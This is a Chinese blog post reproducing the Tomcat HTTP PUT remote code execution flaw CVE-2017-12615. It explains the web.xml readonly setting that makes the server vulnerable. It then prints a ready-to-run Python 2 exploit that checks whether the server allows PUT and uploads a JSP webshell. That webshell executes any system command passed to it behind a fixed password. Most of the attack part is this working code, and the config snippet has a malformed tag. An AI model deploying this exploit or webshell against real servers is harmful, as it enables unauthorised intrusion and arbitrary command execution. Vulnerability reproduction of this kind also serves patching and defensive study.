Tomcat遠(yuǎn)程命令執(zhí)行漏洞 CVE-2017-12615

漏洞描述:

當(dāng) Tomcat運(yùn)行在Windows操作系統(tǒng)時(shí),且啟用了HTTP PUT請(qǐng)求方法,攻擊者將有可能向服務(wù)器上傳惡意的 JSP 文件,并得到解析。

漏洞范圍:

Apache Tomcat 7.0.0 - 7.0.81

漏洞復(fù)現(xiàn):

這里下載Tomcat-7.0.70,配置Tomcat服務(wù)器

在Tomcat7.0版本默認(rèn)配置是開(kāi)啟readonly的,需要手動(dòng)配置readonly為false才可以進(jìn)行漏洞利用。

在D:\apache-tomcat-7.0.70\conf\web.xml進(jìn)行添加

<init-param>

<param-name>readonly</param-name>

<param-value>false<param-value>

</init-param>

false

保存后重啟tomcat。。

在tomcat默認(rèn)配置的情況下,返回403禁止。

true

當(dāng)修改配置后。

構(gòu)造jsp一句話木馬,返回http的201狀態(tài)碼。

false

該文件被成功寫(xiě)進(jìn)。。

123.jsp

訪問(wèn)123.jsp的shell文件。

shell

也可以使用python語(yǔ)言exp進(jìn)行攻擊。

jsp

該shell文件被成功寫(xiě)進(jìn)。

success

python源碼為:

#coding:utf-8

#python2.7

import httplib

import sys

import time

def attack():

body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println(""+excuteCmd(request.getParameter("cmd"))+"");}else{out.println(":-)");}%>''' conn=httplib.HTTPConnection(sys.argv[1])

res=conn.request("OPTIONS","/docs/")

headers = dict(conn.getresponse().getheaders())

print headers

if 'allow' in headers and headers['allow'].find('PUT')>0:

conn.close()

conn = httplib.HTTPConnection(sys.argv[1])

url = "/" + str(int(time.time()))+'.jsp/'

conn.request(method='PUT', url= url, body=body)

res = conn.getresponse()

if res.status==201:

print 'shell:', 'http://'+sys.argv[1]+url

elif res.status==204:

print 'file exists'

else:

print 'error'

conn.close()

else:

print 'Server not vulnerable'

attack()

附加一圖:

exp

參考資料:

http://www.itdecent.cn/p/f78696043a74

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 漏洞的簡(jiǎn)介 當(dāng) Tomcat運(yùn)行在Windows操作系統(tǒng)時(shí),且啟用了HTTP PUT請(qǐng)求方法(例如,將 reado...
    二潘閱讀 1,113評(píng)論 0 1
  • 1. Java基礎(chǔ)部分 基礎(chǔ)部分的順序:基本語(yǔ)法,類(lèi)相關(guān)的語(yǔ)法,內(nèi)部類(lèi)的語(yǔ)法,繼承相關(guān)的語(yǔ)法,異常的語(yǔ)法,線程的語(yǔ)...
    子非魚(yú)_t_閱讀 34,835評(píng)論 18 399
  • 一株花的怒放 從一無(wú)所有 長(zhǎng)到滿(mǎn)世繁華 陋室盈香 一株花的凋落 從花繁葉茂 落得日漸消瘦 魄失魂倒 生命啊生命 你...
    夕月?lián)u籃閱讀 306評(píng)論 2 1
  • 4月4日的晚上,我從媽媽那里得到了一個(gè)消息:明天要去西安給我的爺爺奶奶掃墓。 于是,我們一大早就出發(fā)了。我...
    董安梓閱讀 370評(píng)論 1 2

友情鏈接更多精彩內(nèi)容